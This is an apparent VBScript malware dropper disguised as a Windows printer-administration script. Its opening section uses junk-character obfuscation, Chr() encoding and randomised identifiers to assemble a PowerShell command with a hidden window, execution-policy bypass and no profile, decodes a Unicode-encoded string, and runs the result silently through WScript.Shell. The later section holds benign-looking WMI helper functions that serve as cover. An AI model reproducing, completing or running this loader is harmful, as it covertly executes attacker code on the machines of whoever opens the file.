asciiStringg = Chr(59)&Chr(36)&Chr(79)&Chr(87)&Chr(106)&Chr(117)&Chr(120)&Chr(100)&Chr(32)&Chr(61)&Chr(32)&Chr(91)&Chr(115)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(46)&Chr(84)&Chr(101)&Chr(120)&Chr(116)&Chr(46)&Chr(101)&Chr(110)&Chr(99)&Chr(111)&Chr(100)&Chr(105)&Chr(110)&Chr(103)&Chr(93)&Chr(58)&Chr(58)&Chr(85)&Chr(110)&Chr(105)&Chr(99)&Chr(111)&Chr(100)&Chr(101)&Chr(46)&Chr(71)&Chr(101)&Chr(116)&Chr(83)&Chr(116)&Chr(114)&Chr(105)&Chr(110)&Chr(103)&Chr(40)&Chr(32)
PPrAQmacPuLrGDapsxzGOQxxyOtLyTxmwWKKHpGrWUKdNUrRxhWmKHUqarTPhdDHaLNGKsWXGxukOyBaBDDOHuDXIWWdmUHLdLPNBrBpxKIQczDKOHWtfLHDTWXwUPpUpqpiWhwwDfItTfWLPmptzfPWIGdNLwKIxQLWQWHLTxxuPcUatwpAARkpyYBXRmsKUKWPquDY = asciiStringg
End Function
Function mxcWvNiPYUxKBWmAKUiGAypKmnaUkisDhBHfUWUoKWUGUNjclJXdkUeUWzeUCCePgUGWNUlSdzsUaWuZuipaBzUccCGALWUXSwWIHrpqrWSAALfDHgHASsxaGQPrLUPWNPywNaYiBSPMyAYpAGpPPWpjQPLpNmDHIcSmnRWNeUWIpWcGAWfMODKcpLHUIWKhbIDPLvUD(command)
OnNuggoGWSPjJcWkYNozqOXROWAkTUQRXLJUWPxGccNcNGbsLBpKTWbMOxGSGYbHDGoUZPPiKINwXOvhviWilPNgtGotyiSGiPigeyIShYSBoWUAJXJjvLPdzSCyNqbJrHOJgWiyLOuOgDWlBolNtDWqQJNIoNnJoIKOWlxuboYoWgbyjuSQcnDtIcJqoUcaWoRdNyWH = "
)@#-%(#)(4!$&!$#%5/&(9**$(%8&#-(/$#(\/)$$!%(!||$9))(9%)&
#(#)#%%$9#)&6!
!$()|&1)#-(%*9%
$@@%)3#(
)@$#@(&-)3!)%@#/)(#/))%)())())@)$#&#@9%)&%6@@*$)!(&!#$(3&*14))@!)#&$%!)&#-)%*-(@%5(@#!&?ow(((
](@](}^#
rsh(((
](@](}^#
ll -co%@$@5!%&##%%4#(&%!$
$*&($#9*%
&@**$$&
#$$6%$
%$!%!$/
*(#(&%$%%%
(@*4@@:@
((@@4#
+}4@:(@
(#&%1%*%(@$#@*
$@#**/$%&($&*(&1&(@($#
%%/&&@!&#
%%%*#%(7@#@
*%@$@5!%&##%%4#(&%!$
$*&($#9*%
&@**$$&
#$$6%$
%$!%!$/
*(#(&%$%%%
(@*4@@:@
((@@4#
+}4@:(@
(#&%1%*%(@$#@*
$@#**/$%&($&*(&1&(@($#
%%/&&@!&#
%%%*#%(7@#@
*and " & command
OnNuggoGWSPjJcWkYNozqOXROWAkTUQRXLJUWPxGccNcNGbsLBpKTWbMOxGSGYbHDGoUZPPiKINwXOvhviWilPNgtGotyiSGiPigeyIShYSBoWUAJXJjvLPdzSCyNqbJrHOJgWiyLOuOgDWlBolNtDWqQJNIoNnJoIKOWlxuboYoWgbyjuSQcnDtIcJqoUcaWoRdNyWH = VWHTVEVYVJJYRCWHOSUHYHOGZNXZISMPFCESYTRVANNELUQFENOZDKUNHATHGWQDWTTPYDJVBZGKUKVFWRVUDNMUIQLXZJOEWJIRABHADTXEDJTXFOLPAVZIGZGISMVSKCNKCDEVKURJQIQYWNSLYZDBKZLBUZHRYFTBWJVBJQEFEPSXIILETKULYMZCSDAKNZLLPPBN(OnNuggoGWSPjJcWkYNozqOXROWAkTUQRXLJUWPxGccNcNGbsLBpKTWbMOxGSGYbHDGoUZPPiKINwXOvhviWilPNgtGotyiSGiPigeyIShYSBoWUAJXJjvLPdzSCyNqbJrHOJgWiyLOuOgDWlBolNtDWqQJNIoNnJoIKOWlxuboYoWgbyjuSQcnDtIcJqoUcaWoRdNyWH,"(((
](@](}^#
","e")
OnNuggoGWSPjJcWkYNozqOXROWAkTUQRXLJUWPxGccNcNGbsLBpKTWbMOxGSGYbHDGoUZPPiKINwXOvhviWilPNgtGotyiSGiPigeyIShYSBoWUAJXJjvLPdzSCyNqbJrHOJgWiyLOuOgDWlBolNtDWqQJNIoNnJoIKOWlxuboYoWgbyjuSQcnDtIcJqoUcaWoRdNyWH = VWHTVEVYVJJYRCWHOSUHYHOGZNXZISMPFCESYTRVANNELUQFENOZDKUNHATHGWQDWTTPYDJVBZGKUKVFWRVUDNMUIQLXZJOEWJIRABHADTXEDJTXFOLPAVZIGZGISMVSKCNKCDEVKURJQIQYWNSLYZDBKZLBUZHRYFTBWJVBJQEFEPSXIILETKULYMZCSDAKNZLLPPBN(OnNuggoGWSPjJcWkYNozqOXROWAkTUQRXLJUWPxGccNcNGbsLBpKTWbMOxGSGYbHDGoUZPPiKINwXOvhviWilPNgtGotyiSGiPigeyIShYSBoWUAJXJjvLPdzSCyNqbJrHOJgWiyLOuOgDWlBolNtDWqQJNIoNnJoIKOWlxuboYoWgbyjuSQcnDtIcJqoUcaWoRdNyWH,"%@$@5!%&##%%4#(&%!$
$*&($#9*%
&@**$$&
#$$6%$
%$!%!$/
*(#(&%$%%%
(@*4@@:@
((@@4#
+}4@:(@
(#&%1%*%(@$#@*
$@#**/$%&($&*(&1&(@($#
%%/&&@!&#
%%%*#%(7@#@
*","m")
OnNuggoGWSPjJcWkYNozqOXROWAkTUQRXLJUWPxGccNcNGbsLBpKTWbMOxGSGYbHDGoUZPPiKINwXOvhviWilPNgtGotyiSGiPigeyIShYSBoWUAJXJjvLPdzSCyNqbJrHOJgWiyLOuOgDWlBolNtDWqQJNIoNnJoIKOWlxuboYoWgbyjuSQcnDtIcJqoUcaWoRdNyWH = VWHTVEVYVJJYRCWHOSUHYHOGZNXZISMPFCESYTRVANNELUQFENOZDKUNHATHGWQDWTTPYDJVBZGKUKVFWRVUDNMUIQLXZJOEWJIRABHADTXEDJTXFOLPAVZIGZGISMVSKCNKCDEVKURJQIQYWNSLYZDBKZLBUZHRYFTBWJVBJQEFEPSXIILETKULYMZCSDAKNZLLPPBN(OnNuggoGWSPjJcWkYNozqOXROWAkTUQRXLJUWPxGccNcNGbsLBpKTWbMOxGSGYbHDGoUZPPiKINwXOvhviWilPNgtGotyiSGiPigeyIShYSBoWUAJXJjvLPdzSCyNqbJrHOJgWiyLOuOgDWlBolNtDWqQJNIoNnJoIKOWlxuboYoWgbyjuSQcnDtIcJqoUcaWoRdNyWH,"
)@#-%(#)(4!$&!$#%5/&(9**$(%8&#-(/$#(\/)$$!%(!||$9))(9%)&
#(#)#%%$9#)&6!
!$()|&1)#-(%*9%
$@@%)3#(
)@$#@(&-)3!)%@#/)(#/))%)())())@)$#&#@9%)&%6@@*$)!(&!#$(3&*14))@!)#&$%!)&#-)%*-(@%5(@#!&?","p")
OnNuggoGWSPjJcWkYNozqOXROWAkTUQRXLJUWPxGccNcNGbsLBpKTWbMOxGSGYbHDGoUZPPiKINwXOvhviWilPNgtGotyiSGiPigeyIShYSBoWUAJXJjvLPdzSCyNqbJrHOJgWiyLOuOgDWlBolNtDWqQJNIoNnJoIKOWlxuboYoWgbyjuSQcnDtIcJqoUcaWoRdNyWHe = Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
Set LKogwOOpWUhJJvhOkpOMSAyRegsUdstsvLJhDlbXIvpcpSqgUCUjdDAROQkPKGAbDWzGcWXGjBqKNOWJWDWJZDpgCKzdyUPKGPUyOdkQhLSobWhAxbJqUDhGMUKdxuScrbABODxoLxihlWqBozBGjgWIQexkoOzxCcKegMwzAHYCWcPyLgwGDzICkWZuCGIWWCsaxyDv = CreateObject(OnNuggoGWSPjJcWkYNozqOXROWAkTUQRXLJUWPxGccNcNGbsLBpKTWbMOxGSGYbHDGoUZPPiKINwXOvhviWilPNgtGotyiSGiPigeyIShYSBoWUAJXJjvLPdzSCyNqbJrHOJgWiyLOuOgDWlBolNtDWqQJNIoNnJoIKOWlxuboYoWgbyjuSQcnDtIcJqoUcaWoRdNyWHe)
LKogwOOpWUhJJvhOkpOMSAyRegsUdstsvLJhDlbXIvpcpSqgUCUjdDAROQkPKGAbDWzGcWXGjBqKNOWJWDWJZDpgCKzdyUPKGPUyOdkQhLSobWhAxbJqUDhGMUKdxuScrbABODxoLxihlWqBozBGjgWIQexkoOzxCcKegMwzAHYCWcPyLgwGDzICkWZuCGIWWCsaxyDv.Run OnNuggoGWSPjJcWkYNozqOXROWAkTUQRXLJUWPxGccNcNGbsLBpKTWbMOxGSGYbHDGoUZPPiKINwXOvhviWilPNgtGotyiSGiPigeyIShYSBoWUAJXJjvLPdzSCyNqbJrHOJgWiyLOuOgDWlBolNtDWqQJNIoNnJoIKOWlxuboYoWgbyjuSQcnDtIcJqoUcaWoRdNyWH, 0, False
End Function
hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG = hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG & PPrAQmacPuLrGDapsxzGOQxxyOtLyTxmwWKKHpGrWUKdNUrRxhWmKHUqarTPhdDHaLNGKsWXGxukOyBaBDDOHuDXIWWdmUHLdLPNBrBpxKIQczDKOHWtfLHDTWXwUPpUpqpiWhwwDfItTfWLPmptzfPWIGdNLwKIxQLWQWHLTxxuPcUatwpAARkpyYBXRmsKUKWPquDY()
hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG = hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG & FWcnKGpHAZLcWnpRYUKWMdPTHMXKHHPHQOMBUBVcOZslPXOWQJBHlsPQpOopJZALJCZZSYCJZUZGCHEJEAnMurrJMBBlHKInZnAMynERUOnOZDWnCLMdgnInoKHQXpTPBQDUKvQUWlMdHlKLFGLWDgAALZnNKHTJUKCYdCIHovDZCgUpXQBnnWGDHDvcWDYlOsKpQrWA()
hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG = hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG & ";
@(4}@#*
##@}}@]]##
(#@(@@@
4]$}$$@$
*$$@(}
:$$$@}:
@}:@((@
$@#$@@@
$]@@*@}$
:}$:$$$
(@*4@@:@
((@@4#
+}4@:(@
(@*4@@:@
((@@4#
+}4@:(@
4]$}$$@$
*$$@(}
:$$$@}:
@}:@((@
$@#$@@@
$]@@*@}$
:}$:$$$
(@*4@@:@
((@@4#
+}4@:(@
(@*4@@:@
((@@4#
+}4@:(@
4]$}$$@$
*$$@(}
:$$$@}:
@}:@((@
$@#$@@@
$]@@*@}$
:}$:$$$
4]$}$$@$
*$$@(}
:$$$@}:
@}:@((@
$@#$@@@
$]@@*@}$
:}$:$$$
-windo
(@*4@@:@
((@@4#
+}4@:(@
(@*4@@:@
((@@4#
+}4@:(@
4]$}$$@$
*$$@(}
:$$$@}:
@}:@((@
$@#$@@@
$]@@*@}$
:}$:$$$
(@*4@@:@
((@@4#
+}4@:(@
(@*4@@:@
((@@4#
+}4@:(@
dden -
4]$}$$@$
*$$@(}
:$$$@}:
@}:@((@
$@#$@@@
$]@@*@}$
:}$:$$$
4]$}$$@$
*$$@(}
:$$$@}:
@}:@((@
$@#$@@@
$]@@*@}$
:}$:$$$
(@*4@@:@
((@@4#
+}4@:(@
(@*4@@:@
((@@4#
+}4@:(@
ionpolicy byp
(@*4@@:@
((@@4#
+}4@:(@
(@*4@@:@
((@@4#
+}4@:(@
ss -NoP
(@*4@@:@
((@@4#
+}4@:(@
(@*4@@:@
((@@4#
+}4@:(@
4]$}$$@$
*$$@(}
:$$$@}:
@}:@((@
$@#$@@@
$]@@*@}$
:}$:$$$
(@*4@@:@
((@@4#
+}4@:(@
(@*4@@:@
((@@4#
+}4@:(@
mand $OW
(@*4@@:@
((@@4#
+}4@:(@
(@*4@@:@
((@@4#
+}4@:(@
gdWxhWWlPDXDlHjuNzWaqUkYoHoxUDufzxGPPdWfPHzuzjqQUrrPUPKvutpDGzKZzHDaveJUPmnnNuclcHWSkozUOGDlKcDsUIccuNfLmlZdfCPnIaGCZeXsaaeNRnURLZUCWoqGxlRIDCvMdDMzSKWbfkRfQTWIUZjoHWRQKWCUWwWUqxUlyWROfUInUaPOUUfYRPPH = "
(@*4@@:@
((@@4#
+}4@:(@
hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG = VWHTVEVYVJJYRCWHOSUHYHOGZNXZISMPFCESYTRVANNELUQFENOZDKUNHATHGWQDWTTPYDJVBZGKUKVFWRVUDNMUIQLXZJOEWJIRABHADTXEDJTXFOLPAVZIGZGISMVSKCNKCDEVKURJQIQYWNSLYZDBKZLBUZHRYFTBWJVBJQEFEPSXIILETKULYMZCSDAKNZLLPPBN(hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG, gdWxhWWlPDXDlHjuNzWaqUkYoHoxUDufzxGPPdWfPHzuzjqQUrrPUPKvutpDGzKZzHDaveJUPmnnNuclcHWSkozUOGDlKcDsUIccuNfLmlZdfCPnIaGCZeXsaaeNRnURLZUCWoqGxlRIDCvMdDMzSKWbfkRfQTWIUZjoHWRQKWCUWwWUqxUlyWROfUInUaPOUUfYRPPH + ";" + gdWxhWWlPDXDlHjuNzWaqUkYoHoxUDufzxGPPdWfPHzuzjqQUrrPUPKvutpDGzKZzHDaveJUPmnnNuclcHWSkozUOGDlKcDsUIccuNfLmlZdfCPnIaGCZeXsaaeNRnURLZUCWoqGxlRIDCvMdDMzSKWbfkRfQTWIUZjoHWRQKWCUWwWUqxUlyWROfUInUaPOUUfYRPPH, "")
hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG = VWHTVEVYVJJYRCWHOSUHYHOGZNXZISMPFCESYTRVANNELUQFENOZDKUNHATHGWQDWTTPYDJVBZGKUKVFWRVUDNMUIQLXZJOEWJIRABHADTXEDJTXFOLPAVZIGZGISMVSKCNKCDEVKURJQIQYWNSLYZDBKZLBUZHRYFTBWJVBJQEFEPSXIILETKULYMZCSDAKNZLLPPBN(hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG, "
4]$}$$@$
*$$@(}
:$$$@}:
@}:@((@
$@#$@@@
$]@@*@}$
:}$:$$$
", "e")
hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG = VWHTVEVYVJJYRCWHOSUHYHOGZNXZISMPFCESYTRVANNELUQFENOZDKUNHATHGWQDWTTPYDJVBZGKUKVFWRVUDNMUIQLXZJOEWJIRABHADTXEDJTXFOLPAVZIGZGISMVSKCNKCDEVKURJQIQYWNSLYZDBKZLBUZHRYFTBWJVBJQEFEPSXIILETKULYMZCSDAKNZLLPPBN(hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG, "
@(4}@#*
##@}}@]]##
(#@(@@@
", "p")
hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG = VWHTVEVYVJJYRCWHOSUHYHOGZNXZISMPFCESYTRVANNELUQFENOZDKUNHATHGWQDWTTPYDJVBZGKUKVFWRVUDNMUIQLXZJOEWJIRABHADTXEDJTXFOLPAVZIGZGISMVSKCNKCDEVKURJQIQYWNSLYZDBKZLBUZHRYFTBWJVBJQEFEPSXIILETKULYMZCSDAKNZLLPPBN(hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG, "#####", "o")
mxcWvNiPYUxKBWmAKUiGAypKmnaUkisDhBHfUWUoKWUGUNjclJXdkUeUWzeUCCePgUGWNUlSdzsUaWuZuipaBzUccCGALWUXSwWIHrpqrWSAALfDHgHASsxaGQPrLUPWNPywNaYiBSPMyAYpAGpPPWpjQPLpNmDHIcSmnRWNeUWIpWcGAWfMODKcpLHUIWKhbIDPLvUD(hcvHGCKSbKDGxOGMwOKWKfPvjpQBlTIyPLWhvguAROOAOszHCMlqhcUDNUHhgDnnsaXcbsncnUPzNNUeUbskNJQNUgXMNWKDObWRROUUDcDJUNyLnhWUMQSzMDWOPJcPmKfOCUOvLJRAsRkObXOoKBsysWWUnvWnyeLjpwRoUICqsUuziHmCtocUTbGIqcRGnyyHWqvG)
' Determines which program is being used to run this script.
' Returns true if the script host is cscript.exe
function IsHostCscript()
on error resume next
dim strFullName
dim strCommand
dim i, j
dim bReturn
bReturn = false
strFullName = WScript.FullName
i = InStr(1, strFullName, ".exe", 1)
if i <> 0 then
j = InStrRev(strFullName, "\", i, 1)
if j <> 0 then
strCommand = Mid(strFullName, j+1, i-j-1)
if LCase(strCommand) = "cscript" then
bReturn = true
end if
end if
end if
if Err <> 0 then
wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
IsHostCscript = bReturn
end function
' Retrieves extended information about the last error that occurred
' during a WBEM operation. The methods that set an SWbemLastError
' object are GetObject, PutInstance, DeleteInstance
sub LastError()
on error resume next
dim oError
set oError = CreateObject("WbemScripting.SWbemLastError")
if Err = kErrorSuccess then
wscript.echo L_Operation_Text & L_Space_Text & oError.Operation
wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName
wscript.echo L_Description_Text & L_Space_Text & oError.Description
wscript.echo L_Text_Error_General03_Text & L_Space_Text & oError.StatusCode
end if
end sub
' Connects to the WMI service on a server. oService is returned as a service
' object (SWbemServices)
function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService)
on error resume next
dim oLocator
dim bResult
oService = null
bResult = false
set oLocator = CreateObject("WbemScripting.SWbemLocator")
if Err = kErrorSuccess then
set oService = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword)
if Err = kErrorSuccess then
bResult = true
oService.Security_.impersonationlevel = 3
'
' Required to perform administrative tasks on the spooler service
'
oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"
Err.Clear
else
wscript.echo L_Text_Msg_General11_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General10_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
WmiConnect = bResult
end function
' Remove leading "\\" from server name
function RemoveBackslashes(strServer)
dim strRet
strRet = strServer
if Left(strServer, 2) = "\\" and Len(strServer) > 2 then
strRet = Mid(strServer, 3)
end if
RemoveBackslashes = strRet
end function